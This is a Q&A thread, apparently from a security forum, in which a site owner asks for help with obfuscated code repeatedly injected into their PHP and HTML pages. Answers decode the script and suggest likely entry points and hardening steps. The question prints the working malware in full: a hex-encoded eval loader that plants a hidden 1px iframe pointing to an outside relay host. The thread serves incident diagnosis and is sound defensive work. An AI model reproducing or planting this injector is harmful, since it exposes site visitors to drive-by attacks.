3

I started a topic HERE on the stackoverflow site, but was refered here.

I did get some info there, but think it need's more indepth input. So hopefuly people here can help.


I have a few domains that I use for sites and testing. Most are hosted with one well known domain site, the others with a small one.

Recently I noticed my page layout going out. When inspecting, noticed that an iFrame (that I never put there) was running.

I removed it and changed my file permissions.

It happened again a few times, then changed from an iFrame to a javascript. Here it is to see.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
 asgq=[0x28,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x28,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x76,0x61,0x72,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x20,0x3d,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x28,0x27,0x69,0x66,0x72,0x61,0x6d,0x65,0x27,0x29,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x72,0x63,0x20,0x3d,0x20,0x27,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x66,0x72,0x61,0x73,0x73,0x65,0x6c,0x74,0x2d,0x6b,0x61,0x6c,0x6f,0x72,0x61,0x6d,0x61,0x2e,0x6e,0x6c,0x2f,0x72,0x65,0x6c,0x61,0x79,0x2e,0x70,0x68,0x70,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x27,0x61,0x62,0x73,0x6f,0x6c,0x75,0x74,0x65,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x62,0x6f,0x72,0x64,0x65,0x72,0x20,0x3d,0x20,0x27,0x30,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x68,0x65,0x69,0x67,0x68,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x77,0x69,0x64,0x74,0x68,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x6c,0x65,0x66,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x74,0x6f,0x70,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x21,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x77,0x72,0x69,0x74,0x65,0x28,0x27,0x3c,0x64,0x69,0x76,0x20,0x69,0x64,0x3d,0x5c,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x5c,0x27,0x3e,0x3c,0x2f,0x64,0x69,0x76,0x3e,0x27,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x2e,0x61,0x70,0x70,0x65,0x6e,0x64,0x43,0x68,0x69,0x6c,0x64,0x28,0x79,0x6f,0x6b,0x64,0x6a,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x7d,0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=34;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-499!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}</script>";
#/68c8c7#
?>

Please note that it is a PHP script. Directly in my code. I also have the same thing in HTML.

Seems all my sites are getting infected with this or varients of this, even the ones not on the same host.

Can anyone help with this?

3
  • The code that you supplied also adds an iframe to the page. Mar 19, 2013 at 23:14
  • Are you using a framework or plugin of any type? If its well known code than attackers just google for known strings or automated crawlers go out just looking to infect.
    – Eric G
    Mar 19, 2013 at 23:32
  • First off, have you a) checked your dev computer for malware, b) re-installed the sites from known good backups already? Mar 28, 2013 at 6:42

3 Answers 3

6

Just to show you what this script does as it's always interesting the obfuscation techniques people use.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
asgq=[0x72,0x65,0x6c,0x61,...0x28,0x29,0x3b];
try{document.body|=1} catch(gdsgsdg){


    // Some attempt of obfuscation
    zz=3;
    dbshre=34;

 if(dbshre){ 
      vfvwe=0;

    // Some attempt of obfuscation
      try{} catch(agdsg) {
           vfvwe=1;
      }

      if(!vfvwe){
        // This is the Eval Function
           e=window[\"eval\"];
      }

      s=\"\";
      for(i=0;i-499!=0;i++){
           if(window.document) {
                // Add encoded script (asgg) to variable s.
                  s+=String.fromCharCode(asgq[i]);
           }
      }

// Some attempt of obfuscation
 z=s; 
// 'e' is the eval function which was defined above.
 e(s);
 }
}
</script>";
#/68c8c7#
?>

And the 'asgq' variable had the following code:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('<div id=\'yokdj\'></div>');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

I have taken out the URL as I don't think it's a good idea for people to be going to websites that may contain malware.

2
  • 1
    try{document.body|=1} catch(gdsgsdg){ and dbshre=34;if(dbshre){ are silly attempts at opaque-predicates that are probably meant to prevent static analyzers from concluding it definitely does what it definitely does. This probably was run through something that obfuscates code by renaming, turning global variables into local, and adding branches governed by opaque predicates. Mar 20, 2013 at 0:40
  • To be honest I think this was not run through a programs that obfuscates the code, I think it was done by hand. It's not particularly well done, and i think a program would have done a better job. Mar 20, 2013 at 9:23
4

You say that php scripts such as these have been directly injected into your files, which implies that an attacker has had some ability to modify files on your machines (there are multiple ways to get this). In some way, you have created the same vulnerability across all of your sites.

It is possible that you have some issue that turns out to be really common/well known, and someone's automated scripts have picked up on the fact. Some ideas of mine that come to mind:

  • PHP Code injection

Some attacker has been able to craft user input to some portion of your websites such that they can run whatever php code they want. For instance, if you were to take the input from a and shove it into a php eval(http://php.net/manual/en/function.eval.php, then somebody would be able to call file_put_contents (http://php.net/manual/en/function.file-put-contents.php) and directly modify your php files to have the additional code.

  • Shell access

Some attacker can run whatever they want because they've broken into your machine in some other way. For instance, if you are accepting logins by ssh, and your root account password is "password", then somebody will be able to get access by trivially making attempts to log into your machine using entries from a common password dictionary.

This is all speculation though. Some general recommendations (research how to do these separately).

  • Change the passwords to all of the login accounts on the machine.

  • Ensure that there are no services running that you didn't plant yourself

  • Harden your PHP config. Google searches similar to Harden php configuration will help you research.

  • Harden your web server config. Make sure that your web server is running using a user account that is a user created only for your web server.

  • You can audit your code for issues, but I doubt you will know what to look for. Maybe you could try something like Tripwire (I haven't used it before) to wait/watch for changes in the file. Once you detect changes, you can find out what time they happened (you could even just look at the timestamp on the changed file/s). From there, you can dig through web server logs/php logs/syslog/authlog to play forensics to find out where your hole is.

1

have you looked through your database contents to see if these scripts are stored there? (dump the contents and do a text search) You have to establish whether the attackers have put this into your page via the file system (through a remote file include http://en.wikipedia.org/wiki/File_inclusion_vulnerability ) or by inserting it into the database through sql injection. When you removed it, where did you remove it from?

searches for some of the keywords in this injected code:

google "yokdj" finds http://wepawet.iseclab.org/view.php?hash=e0bad0592a91abe341c3f13f573309df&t=1362926702&type=js

google "fromCharCode(asgq[i]" yields list of sites infected. also, that search yields several discussions about this code: stackoverflow thread:
https://stackoverflow.com/questions/15232851/javascript-obfuscation-learning-from-the-bad-guys AND:

http://www.simplemachines.org/community/index.php?topic=494622.0

Sounds like this has affected several php related systems recently. The others report that it comes right back after it is removed, which makes me think a bot is injecting this into a form on your site. Please let us know what you find!

3
  • @Frank_Hemsworth Thanks for opening and showing the code in a better layout. It is better ans easyer to see things. I also think that this was put in by hand and not a "BOT" or anything , but could be wrong. I do not have any framework that I know of inparticular. No plugins either. Two sites are currently place holders for other stuff, so are just index pages in html. One is a Flash site in a html page, and the last is a dynamic PHP site with member sections.
    – Tempus
    Mar 22, 2013 at 22:41
  • So the last site might possibly have a flaw (but cant see it) , but the others are static. This code has been found in both html pages and the php ones. First thought then would be that the server has been hacked or something, but two sites are on a completely different server. @mcgyver5 Thanks for the links. They were a good read. I also did check my DB, but nothing wrong in them.
    – Tempus
    Mar 22, 2013 at 22:41
  • UPDATE..... From my last post, I have noticed that the sites have all been infected again!?!?! The index page on my main site I turned into a simple re-direct and named my front page "frontpage.php". Was an experiment to see if it was a BOT targeting "index" pages. So this would confirm that it is manualy being inputed somehow.
    – Tempus
    Mar 27, 2013 at 23:08

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .